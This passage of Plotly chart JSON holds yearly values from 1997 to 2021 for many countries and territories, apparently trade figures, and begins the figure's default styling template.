"x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 353.24, - 355.21, - 499.7, - 472.29, - 428.02, - 634.54, - 723.98, - 1005.76, - 1201.5, - 1322.45, - 1604.36, - 1458.55, - 1968.59, - 2919.78, - 4040.52, - 3739.71, - 3746.94, - 3289.85, - 2821.18, - 3087.16, - 3364.05, - 3717.98, - 3363.1, - 2701.49, - 3569.38 - ] - }, - { - "mode": "lines", - "name": "ESTONIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.89, - 5.26, - 6.5, - 3.3, - 3.88, - 4.31, - 5.98, - 10.24, - 13.86, - 28.24, - 68.63, - 49.31, - 28.92, - 52.91, - 116.48, - 91.88, - 79.13, - 68.09, - 63.68, - 97.5, - 80.33, - 64.32, - 65.44, - 51.83, - 45.9 - ] - }, - { - "mode": "lines", - "name": "IRELAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 66.86, - 67.43, - 80.15, - 103.18, - 102.38, - 135.81, - 150.93, - 211.99, - 279.77, - 226.08, - 314.47, - 449.77, - 260.57, - 270.34, - 380.26, - 386.69, - 414.08, - 759.47, - 525.79, - 485.28, - 536.08, - 530.56, - 533.69, - 563.22, - 499.66 - ] - }, - { - "mode": "lines", - "name": "ETHIOPIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 67.51, - 64.75, - 57.33, - 66.57, - 90.83, - 61.97, - 80.43, - 55.51, - 74.74, - 115.94, - 198.32, - 247.68, - 253.67, - 273.66, - 464.17, - 748.82, - 816.92, - 783.13, - 793.62, - 773.5, - 683.88, - 766.03, - 798.31, - 684.32, - 537.99 - ] - }, - { - "mode": "lines", - "name": "IRAQ", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 11.2, - 36.3, - 49.38, - 84.02, - 206.79, - 214.88, - 75.17, - 131.19, - 155.94, - 203.99, - 272.1, - 437.43, - 477.13, - 678.14, - 763.97, - 1278.13, - 918.03, - 829.32, - 1004.39, - 1111.45, - 1462.23, - 1788.66, - 1878.17, - 1498.99, - 1625.4 - ] - }, - { - "mode": "lines", - "name": "IRAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 171.66, - 159.12, - 152.05, - 226.97, - 253.03, - 654.73, - 918.11, - 1231.39, - 1188.35, - 1446.48, - 1943.92, - 2534.01, - 1853.17, - 2492.9, - 2411.33, - 3351.07, - 4971.35, - 4175.06, - 2781.51, - 2379.61, - 2652.37, - 3511.01, - 3373.62, - 1774.69, - 941.25 - ] - }, - { - "mode": "lines", - "name": "INDONESIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 437.27, - 185.27, - 325.58, - 399.75, - 533.71, - 826.06, - 1127.2, - 1332.6, - 1380.2, - 2032.96, - 2164.17, - 2559.82, - 3063.36, - 5700.78, - 6677.99, - 5331.3, - 4850.2, - 4043.32, - 2819.49, - 3488.12, - 3963.77, - 5275.6, - 4129.33, - 5026.21, - 6035.04 - ] - }, - { - "mode": "lines", - "name": "FAROE IS.", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.35, - 0, - 0.1, - 0.01, - 0.04, - 0.06, - 0.5, - 0.14, - 0.22, - 0.33, - 0.24, - 0.06, - 0.14, - 0.75, - 0.86, - 1.46, - 3.08, - 2.62, - 1.75, - 0.59, - 0.3, - 2.96, - 0.91, - 0.27, - 0.2 - ] - }, - { - "mode": "lines", - "name": "ICELAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 6.38, - 4.07, - 2.97, - 5.91, - 4.89, - 8.29, - 17.6, - 12.91, - 13.05, - 11.44, - 13.76, - 12.73, - 17.08, - 84.36, - 34.03, - 25.92, - 19.89, - 19.93, - 18.55, - 16.72, - 5.9, - 30.79, - 10.05, - 10.91, - 7.83 - ] - }, - { - "mode": "lines", - "name": "HUNGARY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 35.6, - 35.53, - 31.7, - 42.66, - 46.69, - 48.26, - 91.87, - 108.1, - 84.16, - 103.8, - 230.41, - 439.69, - 269.68, - 212.85, - 316, - 323.74, - 343.62, - 349.26, - 345.13, - 406.29, - 402.69, - 458.08, - 423.94, - 495.26, - 403.42 - ] - }, - { - "mode": "lines", - "name": "FIJI IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.47, - 9.61, - 16.14, - 11.34, - 14.11, - 25.44, - 20.41, - 28.59, - 29.06, - 44.07, - 48.39, - 90.39, - 26.69, - 28.47, - 36.78, - 41.01, - 48.74, - 49.75, - 44.15, - 52.52, - 54.24, - 60.8, - 55.7, - 46.9, - 40.67 - ] - }, - { - "mode": "lines", - "name": "EL SALVADOR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.51, - 1.97, - 3.01, - 2.44, - 3.15, - 3.72, - 6.55, - 8.89, - 12, - 17.58, - 12.12, - 16.78, - 13.37, - 24.06, - 37.52, - 56.06, - 65.11, - 61.48, - 68.54, - 60.45, - 69.45, - 78.66, - 79.34, - 84.12, - 118.64 - ] - }, - { - "mode": "lines", - "name": "GREENLAND", - "type": "scatter", - "x": [ - "97", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.18, - 0.33, - 0.25, - 0.02, - 0.16, - 0.04, - 3.37, - 0, - 0.06, - 0.08, - 0.37, - 0.1, - 0.27, - 0.47, - 1.73, - 1.13, - 8.81, - 0.1, - 0.01, - 0, - 0.03, - 1.1, - 1.4 - ] - }, - { - "mode": "lines", - "name": "ST VINCENT", - "type": "scatter", - "x": [ - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.05, - 0.04, - 3.6, - 0.1, - 0.21, - 0.09, - 0.25, - 0.41, - 0.34, - 0.47, - 0.82, - 0.36, - 0.36, - 0.61, - 0.35, - 1.84, - 0.76, - 0.55, - 0.78, - 0.69, - 0.73, - 0.69, - 0.63, - 0.67 - ] - }, - { - "mode": "lines", - "name": "ST HELENA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020" - ], - "y": [ - 0.32, - 0.35, - 0.8, - 0.04, - 0.53, - 0.54, - 0.87, - 0.1, - 0.78, - 1.66, - 1.63, - 0.2, - 0.01, - 0.19, - 0.04, - 0.03, - 0.03, - 0.21, - 0.16, - 0.02, - 0.01, - 0.02, - 0.33, - 0.17 - ] - }, - { - "mode": "lines", - "name": "COOK IS", - "type": "scatter", - "x": [ - "97", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.07, - 0.04, - 0.03, - 0.03, - 0.1, - 0.08, - 0.09, - 0, - 0.12, - 0.13, - 0.03, - 0.04, - 0.12, - 0.05, - 0.09, - 0.32, - 0.05, - 0.15, - 0.18, - 0.27, - 0.32, - 0.07, - 0.04 - ] - }, - { - "mode": "lines", - "name": "WALLIS F IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2016", - "2017", - "2019", - "2020", - "2021" - ], - "y": [ - 0.21, - 0.3, - 0.32, - 0.02, - 0.11, - 0.02, - 0.21, - 0.09, - 0.09, - 0.61, - 0.05, - 0.16, - 0.16, - 0.08, - 0.21, - 0.02, - 0, - 0.04, - 0.01, - 0.05, - 0.02, - 0.02, - 0 - ] - }, - { - "mode": "lines", - "name": "UNION OF SERBIA & MONTENEGRO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2019" - ], - "y": [ - 5.03, - 6.82, - 4.44, - 6.65, - 5.52, - 4.61, - 16.83, - 9.25, - 8.36, - 12.09, - 13.35, - 14.06, - 12.74, - 23.56, - 41.7, - 71, - 30.16, - 6.68, - 1.38, - 0.15, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "PANAMA C Z", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2019" - ], - "y": [ - 5.65, - 5.38, - 12.47, - 23.14, - 18.67, - 9.08, - 3.2, - 0.48, - 4.53, - 0.5, - 0.66, - 0.96, - 0.69, - 0.45, - 0.46, - 0.73, - 0.36, - 0.07, - 0.16, - 0.01, - 0.01, - 0.01 - ] - }, - { - "mode": "lines", - "name": "UNSPECIFIED", - "type": "scatter", - "x": [ - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3.98, - 2100.05, - 206.05, - 209.38, - 373.82, - 191.85, - 244.77, - 365.21, - 4505.65, - 4116.19, - 14390.26, - 16436.76, - 5437.47, - 11544.49, - 4161.29, - 2482.91, - 2470.14, - 2429.68, - 2907.22, - 2546.99, - 733.33, - 737.54 - ] - }, - { - "mode": "lines", - "name": "SAHARWI A.DM RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2004", - "2005", - "2007", - "2008", - "2009", - "2010", - "2011", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.05, - 0.03, - 0.05, - 0.01, - 0.57, - 0.01, - 0.01, - 0.01, - 0.06, - 17.29, - 0, - 0.16, - 0, - 0.03, - 0, - 0, - 0.01, - 0, - 0, - 0.04, - 0 - ] - }, - { - "mode": "lines", - "name": "TOKELAU IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2016", - "2018", - "2019" - ], - "y": [ - 0.69, - 0.24, - 0.28, - 0.09, - 0.06, - 0.29, - 1.24, - 0.14, - 0.07, - 0.15, - 0.05, - 0.03, - 0, - 14.94, - 0.05, - 0.03, - 0.17, - 0, - 0.03, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "PITCAIRN IS.", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2010", - "2011", - "2012", - "2013", - "2016", - "2017", - "2018", - "2019", - "2020" - ], - "y": [ - 0.06, - 0.15, - 0.02, - 0.08, - 0.09, - 0.05, - 0.1, - 0.02, - 0, - 0.07, - 0.03, - 0.03, - 0.27, - 0.06, - 0.01, - 0.06, - 0.05, - 0.01, - 0.01, - 0.02, - 0.12 - ] - }, - { - "mode": "lines", - "name": "MARSHALL ISLAND", - "type": "scatter", - "x": [ - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.95, - 32.67, - 0.39, - 0.05, - 0.21, - 19.19, - 0.09, - 0.1, - 0.07, - 0.2, - 0.53, - 0.09, - 1.18, - 0.12, - 101.91, - 0.14, - 14, - 0.32, - 32.53, - 0.62, - 0.98 - ] - }, - { - "mode": "lines", - "name": "ARUBA", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.19, - 0.44, - 0.62, - 1.46, - 0.68, - 1.88, - 1.48, - 1.49, - 2.68, - 2.88, - 3.33, - 3.88, - 6.93, - 7.91, - 6.44, - 9.63, - 9.87, - 2.79, - 4.23 - ] - }, - { - "mode": "lines", - "name": "FALKLAND IS", - "type": "scatter", - "x": [ - "97", - "98", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2015", - "2018", - "2019", - "2021" - ], - "y": [ - 0.02, - 0, - 0.02, - 0.04, - 0.01, - 0.17, - 0.05, - 0.03, - 0.26, - 0.06, - 0.09, - 0.04, - 0.04, - 1.39, - 0, - 0, - 0, - 0.08, - 0 - ] - }, - { - "mode": "lines", - "name": "ANGUILLA", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.47, - 0.27, - 0.12, - 0.87, - 0.18, - 0.08, - 0.05, - 0.17, - 0.12, - 0.15, - 0.02, - 0.05, - 0.02, - 0.04, - 0.5, - 0.16, - 0.04, - 0.05, - 0.08 - ] - }, - { - "mode": "lines", - "name": "ERITREA", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 10.72, - 8.44, - 8.18, - 6.65, - 110.26, - 16.86, - 29.34, - 24.5, - 31.52, - 18.99, - 16.45, - 14.06, - 6.45, - 3.22, - 7.43, - 9.03, - 5.92, - 9.46, - 7.09 - ] - }, - { - "mode": "lines", - "name": "NIUE IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2015", - "2019", - "2020" - ], - "y": [ - 0.17, - 0.32, - 0.05, - 0.01, - 0.01, - 0.13, - 0.02, - 0, - 0.11, - 0.01, - 0.01, - 0, - 0.01, - 0, - 0.04, - 0.01, - 0.04, - 0.08, - 0 - ] - }, - { - "mode": "lines", - "name": "PALAU", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.02, - 0.05, - 0.07, - 0.16, - 0.16, - 0.23, - 0.01, - 0.04, - 0.22, - 0.04, - 0.03, - 0.07, - 0.02, - 0.04, - 0.07, - 0.09, - 0.05, - 0.21, - 0.09 - ] - }, - { - "mode": "lines", - "name": "COCOS IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2016", - "2020" - ], - "y": [ - 0.02, - 0, - 0.55, - 0.43, - 0.26, - 0.2, - 1.13, - 0.41, - 0.19, - 0.25, - 0.09, - 0, - 0.01, - 0.92, - 0.74, - 0.05, - 0.01, - 0.02, - 0 - ] - }, - { - "mode": "lines", - "name": "MONACO", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.34, - 0.74, - 0.38, - 0.84, - 0.49, - 0.35, - 0.41, - 1.04, - 0.52, - 0.75, - 0.31, - 0.87, - 1.05, - 1.53, - 1.94, - 2.55, - 1.96, - 1.93, - 2.6 - ] - }, - { - "mode": "lines", - "name": "CHRISTMAS IS.", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2019" - ], - "y": [ - 0.97, - 1.18, - 0.23, - 0.16, - 0.05, - 0.38, - 0.4, - 0.36, - 0.08, - 0.04, - 2.35, - 0.2, - 1.59, - 1.18, - 0.02, - 0.03, - 0.01, - 0.01, - 0 - ] - }, - { - "mode": "lines", - "name": "MICRONESIA", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.01, - 0.34, - 0.01, - 0.03, - 0.05, - 0.08, - 0.17, - 0.64, - 0.21, - 0.18, - 0.57, - 0.23, - 0.36, - 0.14, - 0.3, - 0.34, - 0.53, - 0.72, - 0.51 - ] - }, - { - "mode": "lines", - "name": "N. MARIANA IS.", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.16, - 0.03, - 0.05, - 0.02, - 0.09, - 0.43, - 0.46, - 0.14, - 0.02, - 0, - 0.06, - 0.08, - 0.56, - 0.01, - 0.04, - 0.27, - 0.15, - 0.29, - 0.31 - ] - }, - { - "mode": "lines", - "name": "ST PIERRE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2012", - "2013", - "2014", - "2017", - "2018" - ], - "y": [ - 0.13, - 0.03, - 0.01, - 0, - 0.01, - 2.48, - 1.6, - 22.62, - 5.39, - 0, - 0.05, - 0.06, - 0.04, - 0.03, - 0, - 0.01, - 0.01 - ] - }, - { - "mode": "lines", - "name": "CANARY IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014" - ], - "y": [ - 20.38, - 13.21, - 7.02, - 3.81, - 1.81, - 1.06, - 0.11, - 0.1, - 41.39, - 0.08, - 0.04, - 0.06, - 0.14, - 0.01, - 0.01, - 0, - 0.02 - ] - }, - { - "mode": "lines", - "name": "CHANNEL IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2011", - "2012", - "2013", - "2014" - ], - "y": [ - 2.85, - 1.19, - 0.11, - 0.4, - 0.76, - 0.17, - 0.95, - 0.15, - 0.11, - 0.36, - 0.22, - 0.05, - 0.02, - 0.06, - 0.02, - 0 - ] - }, - { - "mode": "lines", - "name": "ANTARTICA", - "type": "scatter", - "x": [ - "2004", - "2005", - "2007", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.01, - 0.05, - 0.43, - 0.1, - 0.17, - 0.06, - 0.17, - 0.06, - 0, - 0, - 0.1, - 0, - 0.02, - 1.05, - 0.01 - ] - }, - { - "mode": "lines", - "name": "FR S ANT TR", - "type": "scatter", - "x": [ - "97", - "98", - "2000", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2015" - ], - "y": [ - 0.02, - 0, - 0, - 0.03, - 0, - 0.14, - 12.87, - 0.08, - 0.01, - 0, - 0, - 0, - 0.02, - 0.01, - 0.06 - ] - }, - { - "mode": "lines", - "name": "HEARD MACDONALD", - "type": "scatter", - "x": [ - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2012", - "2013", - "2014", - "2017", - "2018" - ], - "y": [ - 0.04, - 0.05, - 0.01, - 0.01, - 0, - 0, - 0.45, - 0, - 0.03, - 0.06, - 0.04, - 0.03 - ] - }, - { - "mode": "lines", - "name": "PACIFIC IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2003", - "2004", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013" - ], - "y": [ - 0.02, - 0.06, - 0, - 0.01, - 0.02, - 0, - 0.04, - 0.05, - 35.03, - 0.01, - 0.02 - ] - }, - { - "mode": "lines", - "name": "MONTENEGRO", - "type": "scatter", - "x": [ - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 30.57, - 42.31, - 26.19, - 36.37, - 51.61, - 38.93, - 19.96, - 19.98, - 15.51 - ] - }, - { - "mode": "lines", - "name": "SAN MARINO", - "type": "scatter", - "x": [ - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.05, - 0.26, - 0.23, - 0.14, - 0.15, - 0.25, - 0.25, - 0.14 - ] - }, - { - "mode": "lines", - "name": "SERBIA", - "type": "scatter", - "x": [ - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 31.52, - 42.39, - 43.34, - 50.07, - 59.02, - 72.33, - 83.68, - 90.77, - 66.59 - ] - }, - { - "mode": "lines", - "name": "US MINOR OUTLYING ISLANDS", - "type": "scatter", - "x": [ - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.68, - 0.17, - 1.08, - 0.52, - 0.69, - 0.4, - 0.97, - 0.23 - ] - }, - { - "mode": "lines", - "name": "VATICAN CITY", - "type": "scatter", - "x": [ - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.12, - 0.05, - 0.04, - 0.11, - 0.03, - 0.03, - 0.07, - 0.03 - ] - }, - { - "mode": "lines", - "name": "NEUTRAL ZONE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2005", - "2007", - "2008", - "2011" - ], - "y": [ - 0, - 0, - 0.05, - 0.06, - 25.01, - 0.01, - 0.16 - ] - }, - { - "mode": "lines", - "name": "SOUTH SUDAN", - "type": "scatter", - "x": [ - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3.24, - 3.54, - 10.53, - 20.05, - 22.91, - 20.03 - ] - }, - { - "mode": "lines", - "name": "MAYOTTE", - "type": "scatter", - "x": [ - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.17, - 0.07, - 2.79, - 3.13, - 5.65, - 2.71 - ] - }, - { - "mode": "lines", - "name": "STATE OF PALEST", - "type": "scatter", - "x": [ - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.02, - 1.49, - 1.09, - 2.01, - 1.72 - ] - }, - { - "mode": "lines", - "name": "SINT MAARTEN (DUTCH PART)", - "type": "scatter", - "x": [ - "2016", - "2017", - "2019", - "2020" - ], - "y": [ - 0, - 0.01, - 0.08, - 0 - ] - }, - { - "mode": "lines", - "name": "Petroleum Products", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000" - ], - "y": [ - 352.75, - 89.43, - 29.98, - 1825.65 - ] - }, - { - "mode": "lines", - "name": "GUERNSEY", - "type": "scatter", - "x": [ - "2017", - "2018", - "2019", - "2020" - ], - "y": [ - 0.03, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "INSTALLATIONS IN INTERNATIONAL WATERS", - "type": "scatter", - "x": [ - "2015", - "2016", - "2017" - ], - "y": [ - 7.11, - 79.66, - 34.78 - ] - }, - { - "mode": "lines", - "name": "CURACAO", - "type": "scatter", - "x": [ - "2015", - "2017" - ], - "y": [ - 0.01, - 0 - ] - }, - { - "mode": "lines", - "name": "JERSEY", - "type": "scatter", - "x": [ - "2017", - "2019" - ], - "y": [ - 0, - 0.14 - ] - }, - { - "mode": "lines", - "name": "SVALLBARD AND J", - "type": "scatter", - "x": [ - "2019" - ], - "y": [ - 0 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 